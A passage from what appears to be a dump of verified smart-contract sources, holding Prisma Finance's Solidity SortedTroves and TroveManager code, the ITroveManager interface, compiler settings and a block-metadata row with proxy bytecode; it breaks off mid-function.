(_startId, address(0));\n }\n\n address nextId = _startId;\n address prevId = data.nodes[nextId].prevId;\n\n // Ascend the list until we reach the end or until we find a valid insertion point\n while (nextId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n nextId = data.nodes[nextId].prevId;\n prevId = data.nodes[nextId].prevId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Find the insert position for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address) {\n return _findInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _findInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (address, address) {\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (prevId != address(0)) {\n if (!contains(prevId) || _NICR > _troveManager.getNominalICR(prevId)) {\n // `prevId` does not exist anymore or now has a smaller NICR than the given NICR\n prevId = address(0);\n }\n }\n\n if (nextId != address(0)) {\n if (!contains(nextId) || _NICR < _troveManager.getNominalICR(nextId)) {\n // `nextId` does not exist anymore or now has a larger NICR than the given NICR\n nextId = address(0);\n }\n }\n\n if (prevId == address(0) && nextId == address(0)) {\n // No hint - descend list starting from head\n return _descendList(_troveManager, _NICR, data.head);\n } else if (prevId == address(0)) {\n // No `prevId` for hint - ascend list starting from `nextId`\n return _ascendList(_troveManager, _NICR, nextId);\n } else if (nextId == address(0)) {\n // No `nextId` for hint - descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n } else {\n // Descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n }\n }\n\n function _requireCallerIsTroveManager(ITroveManager _troveManager) internal view {\n require(msg.sender == address(_troveManager), \"SortedTroves: Caller is not the TroveManager\");\n }\n}\n"
},
"ITroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITroveManager {\n event BaseRateUpdated(uint256 _baseRate);\n event CollateralSent(address _to, uint256 _amount);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 _stake, uint8 _operation);\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external;\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt);\n\n function claimCollateral(address _receiver) external;\n\n function claimReward(address receiver) external returns (uint256);\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external;\n\n function closeTroveByLiquidation(address _borrower) external;\n\n function collectInterests() external;\n\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256);\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external;\n\n function fetchPrice() external returns (uint256);\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external;\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256);\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external;\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool);\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external returns (uint256 stake, uint256 arrayIndex);\n\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external;\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external;\n\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeedAddress) external;\n\n function startSunset() external;\n\n function updateBalances() external;\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256);\n\n function vaultClaimReward(address claimant, address) external returns (uint256);\n\n function BOOTSTRAP_PERIOD() external view returns (uint256);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function L_collateral() external view returns (uint256);\n\n function L_debt() external view returns (uint256);\n\n function MAX_INTEREST_RATE_IN_BPS() external view returns (uint256);\n\n function MCR() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function SUNSETTING_INTEREST_RATE() external view returns (uint256);\n\n function Troves(\n address\n )\n external\n view\n returns (\n uint256 debt,\n uint256 coll,\n uint256 stake,\n uint8 status,\n uint128 arrayIndex,\n uint256 activeInterestIndex\n );\n\n function accountLatestMint(address) external view returns (uint32 amount, uint32 week, uint32 day);\n\n function activeInterestIndex() external view returns (uint256);\n\n function baseRate() external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function borrowingFeeFloor() external view returns (uint256);\n\n function claimableReward(address account) external view returns (uint256);\n\n function collateralToken() external view returns (address);\n\n function dailyMintReward(uint256) external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function defaultedCollateral() external view returns (uint256);\n\n function defaultedDebt() external view returns (uint256);\n\n function emissionId() external view returns (uint16 debt, uint16 minting);\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256);\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256);\n\n function getBorrowingRate() external view returns (uint256);\n\n function getBorrowingRateWithDecay() external view returns (uint256);\n\n function getCurrentICR(address _borrower, uint256 _price) external view returns (uint256);\n\n function getEntireDebtAndColl(\n address _borrower\n ) external view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward);\n\n function getEntireSystemColl() external view returns (uint256);\n\n function getEntireSystemDebt() external view returns (uint256);\n\n function getNominalICR(address _borrower) external view returns (uint256);\n\n function getPendingCollAndDebtRewards(address _borrower) external view returns (uint256, uint256);\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256);\n\n function getRedemptionRate() external view returns (uint256);\n\n function getRedemptionRateWithDecay() external view returns (uint256);\n\n function getTotalActiveCollateral() external view returns (uint256);\n\n function getTotalActiveDebt() external view returns (uint256);\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory);\n\n function getTroveCollAndDebt(address _borrower) external view returns (uint256 coll, uint256 debt);\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address);\n\n function getTroveOwnersCount() external view returns (uint256);\n\n function getTroveStake(address _borrower) external view returns (uint256);\n\n function getTroveStatus(address _borrower) external view returns (uint256);\n\n function getWeek() external view returns (uint256 week);\n\n function getWeekAndDay() external view returns (uint256, uint256);\n\n function guardian() external view returns (address);\n\n function hasPendingRewards(address _borrower) external view returns (bool);\n\n function interestPayable() external view returns (uint256);\n\n function interestRate() external view returns (uint256);\n\n function lastActiveIndexUpdate() external view returns (uint256);\n\n function lastCollateralError_Redistribution() external view returns (uint256);\n\n function lastDebtError_Redistribution() external view returns (uint256);\n\n function lastFeeOperationTime() external view returns (uint256);\n\n function lastUpdate() external view returns (uint32);\n\n function liquidationManager() external view returns (address);\n\n function maxBorrowingFee() external view returns (uint256);\n\n function maxRedemptionFee() external view returns (uint256);\n\n function maxSystemDebt() external view returns (uint256);\n\n function minuteDecayFactor() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function paused() external view returns (bool);\n\n function periodFinish() external view returns (uint32);\n\n function priceFeed() external view returns (address);\n\n function redemptionFeeFloor() external view returns (uint256);\n\n function rewardIntegral() external view returns (uint256);\n\n function rewardIntegralFor(address) external view returns (uint256);\n\n function rewardRate() external view returns (uint128);\n\n function rewardSnapshots(address) external view returns (uint256 collateral, uint256 debt);\n\n function sortedTroves() external view returns (address);\n\n function sunsetting() external view returns (bool);\n\n function surplusBalances(address) external view returns (uint256);\n\n function systemDeploymentTime() external view returns (uint256);\n\n function totalCollateralSnapshot() external view returns (uint256);\n\n function totalStakes() external view returns (uint256);\n\n function totalStakesSnapshot() external view returns (uint256);\n\n function vault() external view returns (address);\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"SortedTroves.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
db2222735e926f3a18d7d1d0cfeef095a66aea2a
|
1691308554c0a5a37c87e947677a4d31b9c97da9
|
3d602d80600a3d3981f3363d3d373d3d3d363d73297b704feda9383527c2ca834ffce29509e4cd3f5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73297b704feda9383527c2ca834ffce29509e4cd3f5af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/core/TroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"contracts/token/ERC20/IERC20.sol\";\nimport \"contracts/utils/math/Math.sol\";\nimport \"contracts/interfaces/IBorrowerOperations.sol\";\nimport \"contracts/interfaces/IDebtToken.sol\";\nimport \"contracts/interfaces/ISortedTroves.sol\";\nimport \"contracts/interfaces/IVault.sol\";\nimport \"contracts/interfaces/IPriceFeed.sol\";\nimport { ReedemedTrove, ITroveRedemptionsCallback } from \"contracts/interfaces/IPrismaCallbacks.sol\";\nimport \"contracts/dependencies/SystemStart.sol\";\nimport \"contracts/dependencies/PrismaBase.sol\";\nimport \"contracts/dependencies/PrismaMath.sol\";\nimport \"contracts/dependencies/PrismaOwnable.sol\";\n\n/**\n @title Prisma Trove Manager\n @notice Based on Liquity's `TroveManager`\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/TroveManager.sol\n\n Prisma's implementation is modified so that multiple `TroveManager` and `SortedTroves`\n contracts are deployed in tandem, with each pair managing troves of a single collateral\n type.\n\n Functionality related to liquidations has been moved to `LiquidationManager`. This was\n necessary to avoid the restriction on deployed bytecode size.\n */\ncontract TroveManager is PrismaBase, PrismaOwnable, SystemStart {\n using SafeERC20 for IERC20;\n\n // --- Connected contract declarations ---\n\n address public immutable borrowerOperationsAddress;\n address public immutable liquidationManager;\n address immutable gasPoolAddress;\n IDebtToken public immutable debtToken;\n IPrismaVault public immutable vault;\n // During bootsrap period redemptions are not allowed\n uint256 public immutable bootstrapPeriod;\n IPriceFeed public priceFeed;\n IERC20 public collateralToken;\n\n // A doubly linked list of Troves, sorted by their collateral ratios\n ISortedTroves public sortedTroves;\n\n EmissionId public emissionId;\n // Minimum collateral ratio for individual troves\n uint256 public MCR;\n\n uint256 constant SECONDS_IN_ONE_MINUTE = 60;\n uint256 constant INTEREST_PRECISION = 1e27;\n uint256 constant SECONDS_IN_YEAR = 365 days;\n uint256 constant REWARD_DURATION = 1 weeks;\n\n // volume-based amounts are divided by this value to allow storing as uint32\n uint256 constant VOLUME_MULTIPLIER = 1e20;\n\n uint256 constant SUNSETTING_INTEREST_RATE = (INTEREST_PRECISION * 5000) / (10000 * SECONDS_IN_YEAR); //50% // During bootsrap period redemptions are not allowed\n /*\n * BETA: 18 digit decimal. Parameter by which to divide the redeemed fraction, in order to calc the new base rate from a redemption.\n * Corresponds to (1 / ALPHA) in the white paper.\n */\n uint256 constant BETA = 2;\n\n // commented values are Liquity's fixed settings for each parameter\n uint256 minuteDecayFactor; // 999037758833783000 (half-life of 12 hours)\n uint256 redemptionFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 maxRedemptionFee; // DECIMAL_PRECISION (100%)\n uint256 borrowingFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 maxBorrowingFee; // DECIMAL_PRECISION / 100 * 5 (5%)\n uint256 maxSystemDebt;\n\n uint256 interestRate;\n uint256 activeInterestIndex;\n uint256 lastActiveIndexUpdate;\n\n uint256 public systemDeploymentTime;\n bool public sunsetting;\n bool public paused;\n\n uint256 public baseRate;\n\n // The timestamp of the latest fee operation (redemption or new debt issuance)\n uint256 public lastFeeOperationTime;\n\n uint256 public totalStakes;\n\n // Snapshot of the value of totalStakes, taken immediately after the latest liquidation\n uint256 public totalStakesSnapshot;\n\n // Snapshot of the total collateral taken immediately after the latest liquidation.\n uint256 public totalCollateralSnapshot;\n\n /*\n * L_collateral and L_debt track the sums of accumulated liquidation rewards per unit staked. During its lifetime, each stake earns:\n *\n * An collateral gain of ( stake * [L_collateral - L_collateral(0)] )\n * A debt increase of ( stake * [L_debt - L_debt(0)] )\n *\n * Where L_collateral(0) and L_debt(0) are snapshots of L_collateral and L_debt for the active Trove taken at the instant the stake was made\n */\n uint256 public L_collateral;\n uint256 public L_debt;\n\n // Error trackers for the trove redistribution calculation\n uint256 lastCollateralError_Redistribution;\n uint256 lastDebtError_Redistribution;\n\n uint256 internal totalActiveCollateral;\n uint256 internal totalActiveDebt;\n uint256 public interestPayable;\n\n uint256 public defaultedCollateral;\n uint256 public defaultedDebt;\n\n uint256 public rewardIntegral;\n uint128 public rewardRate;\n uint32 public lastUpdate;\n uint32 public periodFinish;\n uint16 public redemptionFeesRebate;\n\n ITroveRedemptionsCallback private _redemptionsCallback;\n\n mapping(address => uint256) public rewardIntegralFor;\n mapping(address => uint256) private storedPendingReward;\n\n // week -> total available rewards for 1 day within this week\n uint256[65535] public dailyMintReward;\n\n // week -> day -> total amount redeemed this day\n uint32[7][65535] private totalMints;\n\n // account -> data for latest activity\n mapping(address => VolumeData) public accountLatestMint;\n\n mapping(address => Trove) public Troves;\n mapping(address => uint256) public surplusBalances;\n\n // Map addresses with active troves to their RewardSnapshot\n mapping(address => RewardSnapshot) public rewardSnapshots;\n\n // Array of all active trove addresses - used to to compute an approximate hint off-chain, for the sorted list insertion\n address[] TroveOwners;\n\n struct VolumeData {\n uint32 amount;\n uint32 week;\n uint32 day;\n }\n\n struct EmissionId {\n uint16 debt;\n uint16 minting;\n }\n\n // Store the necessary data for a trove\n struct Trove {\n uint256 debt;\n uint256 coll;\n uint256 stake;\n Status status;\n uint128 arrayIndex;\n uint256 activeInterestIndex;\n }\n\n struct RedemptionTotals {\n uint256 remainingDebt;\n uint256 totalDebtToRedeem;\n uint256 totalCollateralDrawn;\n uint256 collateralFee;\n uint256 price;\n uint256 totalDebtSupplyAtStart;\n uint256 numberOfRedemptions;\n ReedemedTrove[] trovesRedeemed;\n }\n\n struct SingleRedemptionValues {\n uint256 debtLot;\n uint256 collateralLot;\n bool cancelledPartial;\n }\n\n // Object containing the collateral and debt snapshots for a given active trove\n struct RewardSnapshot {\n uint256 collateral;\n uint256 debt;\n }\n\n enum TroveManagerOperation {\n open,\n close,\n adjust,\n liquidate,\n redeemCollateral\n }\n\n enum Status {\n nonExistent,\n active,\n closedByOwner,\n closedByLiquidation,\n closedByRedemption\n }\n\n event TroveUpdated(\n address indexed _borrower,\n uint256 _debt,\n uint256 _coll,\n uint256 _stake,\n TroveManagerOperation _operation\n );\n\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event BaseRateUpdated(uint256 _baseRate);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event CollateralSent(address _to, uint256 _amount);\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event RedemptionFeesRebateSet(uint16 redemptionFeesRebate);\n\n modifier whenNotPaused() {\n require(!paused, \"Collateral Paused\");\n _;\n }\n\n constructor(\n address _prismaCore,\n address _gasPoolAddress,\n address _debtTokenAddress,\n address _borrowerOperationsAddress,\n address _vault,\n address _liquidationManager,\n uint256 _bootstrapPeriod\n )\n PrismaOwnable(_prismaCore)\n PrismaBase(IDebtToken(_debtTokenAddress).DEBT_GAS_COMPENSATION())\n SystemStart(_prismaCore)\n {\n gasPoolAddress = _gasPoolAddress;\n debtToken = IDebtToken(_debtTokenAddress);\n borrowerOperationsAddress = _borrowerOperationsAddress;\n vault = IPrismaVault(_vault);\n liquidationManager = _liquidationManager;\n bootstrapPeriod = _bootstrapPeriod;\n }\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external {\n require(address(sortedTroves) == address(0));\n priceFeed = IPriceFeed(_priceFeedAddress);\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\n collateralToken = IERC20(_collateralToken);\n\n systemDeploymentTime = block.timestamp;\n sunsetting = false;\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n }\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool) {\n require(msg.sender == address(vault));\n require(emissionId.debt == 0, \"Already assigned\");\n uint256 length = _assignedIds.length;\n require(length == 2, \"Incorrect ID count\");\n emissionId = EmissionId({ debt: uint16(_assignedIds[0]), minting: uint16(_assignedIds[1]) });\n periodFinish = uint32(((block.timestamp / 1 weeks) + 1) * 1 weeks);\n\n return true;\n }\n\n /**\n * @notice Allows recover of non collateral tokens sending them to the fee receiver\n * @param tokenAddress Address of the token to be recovered\n * @param tokenAmount Amount to be recoverd\n */\n function recoverERC20(IERC20 tokenAddress, uint256 tokenAmount) external {\n require(tokenAddress != collateralToken);\n tokenAddress.safeTransfer(PRISMA_CORE.feeReceiver(), tokenAmount);\n }\n\n /**\n * @notice Sets the pause state for this trove manager\n * Pausing is used to mitigate risks in exceptional circumstances\n * Functionalities affected by pausing are:\n * - New borrowing is not possible\n * - New collateral deposits are not possible\n * @param _paused If true the protocol is paused\n */\n function setPaused(bool _paused) external {\n require((_paused && msg.sender == guardian()) || msg.sender == owner(), \"Unauthorized\");\n paused = _paused;\n }\n\n /**\n * @notice Sets a custom price feed for this trove manager\n * @param _priceFeedAddress Price feed address\n */\n function setPriceFeed(address _priceFeedAddress) external onlyOwner {\n priceFeed = IPriceFeed(_priceFeedAddress);\n }\n\n /**\n * @notice Sets a callback contract for redemptions on this trove manager\n * @param redemptionsCallback Callback contract\n */\n function setRedemptionsCallback(ITroveRedemptionsCallback redemptionsCallback) external onlyOwner {\n _redemptionsCallback = redemptionsCallback;\n }\n\n /**\n * @notice Starts sunsetting a collateral\n * During sunsetting only the following are possible:\n 1) Disable collateral handoff to SP\n 2) Greatly Increase interest rate to incentivize redemptions\n 3) Remove redemptions fees\n 4) Disable new loans\n @dev IMPORTANT: When sunsetting a collateral altogether this function should be called on\n all TM linked to that collateral as well as `StabilityPool.startCollateralSunset`\n */\n function startSunset() external onlyOwner {\n sunsetting = true;\n _accrueActiveInterests();\n interestRate = SUNSETTING_INTEREST_RATE;\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n redemptionFeeFloor = 0;\n maxSystemDebt = 0;\n }\n\n /**\n * @notice Sets the redemption fees rebate percentage\n * @param _redemptionFeesRebate Percentage of redemption fees rebated to users expressed in bps\n */\n function setRedemptionFeesRebate(uint16 _redemptionFeesRebate) external onlyOwner {\n require(_redemptionFeesRebate <= 10000, \"Too large\");\n redemptionFeesRebate = _redemptionFeesRebate;\n emit RedemptionFeesRebateSet(_redemptionFeesRebate);\n }\n\n /*\n _minuteDecayFactor is calculated as\n\n 10**18 * (1/2)**(1/n)\n\n where n = the half-life in minutes\n */\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) public {\n require(!sunsetting, \"Cannot change after sunset\");\n require(_MCR <= CCR && _MCR >= 1100000000000000000, \"MCR cannot be > CCR or < 110%\");\n if (minuteDecayFactor != 0) {\n require(msg.sender == owner(), \"Only owner\");\n }\n require(\n _minuteDecayFactor >= 977159968434245000 && // half-life of 30 minutes\n _minuteDecayFactor <= 999931237762985000 // half-life of 1 week\n );\n require(_redemptionFeeFloor <= _maxRedemptionFee && _maxRedemptionFee <= DECIMAL_PRECISION);\n require(_borrowingFeeFloor <= _maxBorrowingFee && _maxBorrowingFee <= DECIMAL_PRECISION);\n\n _decayBaseRate();\n\n minuteDecayFactor = _minuteDecayFactor;\n redemptionFeeFloor = _redemptionFeeFloor;\n maxRedemptionFee = _maxRedemptionFee;\n borrowingFeeFloor = _borrowingFeeFloor;\n maxBorrowingFee = _maxBorrowingFee;\n maxSystemDebt = _maxSystemDebt;\n\n uint256 newInterestRate = (INTEREST_PRECISION * _interestRateInBPS) / (10000 * SECONDS_IN_YEAR);\n if (newInterestRate != interestRate) {\n _accrueActiveInterests();\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n interestRate = newInterestRate;\n }\n MCR = _MCR;\n }\n\n function collectInterests() external {\n uint256 interestPayableCached = interestPayable;\n if (interestPayableCached > 0) {\n interestPayable = 0;\n debtToken.mint(PRISMA_CORE.feeReceiver(), interestPayableCached);\n }\n }\n\n // --- Getters ---\n\n function getParameters()\n external\n view\n returns (\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _maxSystemDebt,\n uint256 _interestRateInBps\n )\n {\n return (\n minuteDecayFactor,\n redemptionFeeFloor,\n maxRedemptionFee,\n borrowingFeeFloor,\n maxBorrowingFee,\n maxSystemDebt,\n (interestRate * 10000 * SECONDS_IN_YEAR) / INTEREST_PRECISION\n );\n }\n\n function fetchPrice() public returns (uint256) {\n IPriceFeed _priceFeed = priceFeed;\n if (address(_priceFeed) == address(0)) {\n _priceFeed = IPriceFeed(PRISMA_CORE.priceFeed());\n }\n return _priceFeed.fetchPrice(address(collateralToken));\n }\n\n function getWeekAndDay() public view returns (uint256, uint256) {\n uint256 duration = (block.timestamp - startTime);\n uint256 week = duration / 1 weeks;\n uint256 day = (duration % 1 weeks) / 1 days;\n return (week, day);\n }\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory) {\n return totalMints[week];\n }\n\n function getTroveOwnersCount() external view returns (uint256) {\n return TroveOwners.length;\n }\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address) {\n return TroveOwners[_index];\n }\n\n function getTroveStatus(address _borrower) external view returns (uint256) {\n return uint256(Troves[_borrower].status);\n }\n\n function getTroveStake(address _borrower) external view returns (uint256) {\n return Troves[_borrower].stake;\n }\n\n /**\n @notice Get the current total collateral and debt amounts for a trove\n @dev Also includes pending rewards from redistribution\n */\n function getTroveCollAndDebt(address _borrower) public view returns (uint256 coll, uint256 debt) {\n (debt, coll, , ) = getEntireDebtAndColl(_borrower);\n return (coll, debt);\n }\n\n /**\n @notice Get the total and pending collateral and debt amounts for a trove\n @dev Used by the liquidation manager\n */\n function getEntireDebtAndColl(\n address _borrower\n ) public view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward) {\n Trove storage t = Troves[_borrower];\n debt = t.debt;\n coll = t.coll;\n\n (pendingCollateralReward, pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n // Accrued trove interest for correct liquidation values. This assumes the index to be updated.\n uint256 troveInterestIndex = t.activeInterestIndex;\n if (troveInterestIndex > 0) {\n (uint256 currentIndex, ) = _calculateInterestIndex();\n debt = (debt * currentIndex) / troveInterestIndex;\n }\n\n debt = debt + pendingDebtReward;\n coll = coll + pendingCollateralReward;\n }\n\n function getEntireSystemColl() public view returns (uint256) {\n return totalActiveCollateral + defaultedCollateral;\n }\n\n function getEntireSystemDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt + defaultedDebt;\n }\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256) {\n return (getEntireSystemColl(), getEntireSystemDebt(), fetchPrice());\n }\n\n // --- Helper functions ---\n\n // Return the nominal collateral ratio (ICR) of a given Trove, without the price. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getNominalICR(address _borrower) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 NICR = PrismaMath._computeNominalCR(currentCollateral, currentDebt);\n return NICR;\n }\n\n // Return the current collateral ratio (ICR) of a given Trove. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getCurrentICR(address _borrower, uint256 _price) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 ICR = PrismaMath._computeCR(currentCollateral, currentDebt, _price);\n return ICR;\n }\n\n function getTotalActiveCollateral() public view returns (uint256) {\n return totalActiveCollateral;\n }\n\n function getTotalActiveDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt;\n }\n\n // Get the borrower's pending accumulated collateral and debt rewards, earned by their stake\n function getPendingCollAndDebtRewards(address _borrower) public view returns (uint256, uint256) {\n RewardSnapshot memory snapshot = rewardSnapshots[_borrower];\n\n uint256 coll = L_collateral - snapshot.collateral;\n uint256 debt = L_debt - snapshot.debt;\n\n if (coll + debt == 0 || Troves[_borrower].status != Status.active) return (0, 0);\n\n uint256 stake = Troves[_borrower].stake;\n return ((stake * coll) / DECIMAL_PRECISION, (stake * debt) / DECIMAL_PRECISION);\n }\n\n function hasPendingRewards(address _borrower) public view returns (bool) {\n /*\n * A Trove has pending rewards if its snapshot is less than the current rewards per-unit-staked sum:\n * this indicates that rewards have occured since the snapshot was made, and the user therefore has\n * pending rewards\n */\n if (Troves[_borrower].status != Status.active) {\n return false;\n }\n\n return (rewardSnapshots[_borrower].collateral < L_collateral);\n }\n\n // --- Redemption fee functions ---\n\n /*\n * This function has two impacts on the baseRate state variable:\n * 1) decays the baseRate based on time passed since last redemption or debt borrowing operation.\n * then,\n * 2) increases the baseRate based on the amount redeemed, as a proportion of total supply\n */\n function _updateBaseRateFromRedemption(\n uint256 _collateralDrawn,\n uint256 _price,\n uint256 _totalDebtSupply\n ) internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n /* Convert the drawn collateral back to debt at face value rate (1 debt:1 USD), in order to get\n * the fraction of total supply that was redeemed at face value. */\n uint256 redeemedDebtFraction = (_collateralDrawn * _price) / _totalDebtSupply;\n\n uint256 newBaseRate = decayedBaseRate + (redeemedDebtFraction / BETA);\n newBaseRate = PrismaMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%\n\n // Update the baseRate state variable\n baseRate = newBaseRate;\n emit BaseRateUpdated(newBaseRate);\n\n _updateLastFeeOpTime();\n\n return newBaseRate;\n }\n\n function getRedemptionRate() public view returns (uint256) {\n return _calcRedemptionRate(baseRate);\n }\n\n function getRedemptionRateWithDecay() public view returns (uint256) {\n return _calcRedemptionRate(_calcDecayedBaseRate());\n }\n\n function _calcRedemptionRate(uint256 _baseRate) internal view returns (uint256) {\n return\n PrismaMath._min(\n redemptionFeeFloor + _baseRate,\n maxRedemptionFee // cap at a maximum of 100%\n );\n }\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256) {\n return _calcRedemptionFee(getRedemptionRateWithDecay(), _collateralDrawn);\n }\n\n function _calcRedemptionFee(uint256 _redemptionRate, uint256 _collateralDrawn) internal pure returns (uint256) {\n uint256 redemptionFee = (_redemptionRate * _collateralDrawn) / DECIMAL_PRECISION;\n require(redemptionFee < _collateralDrawn, \"Fee 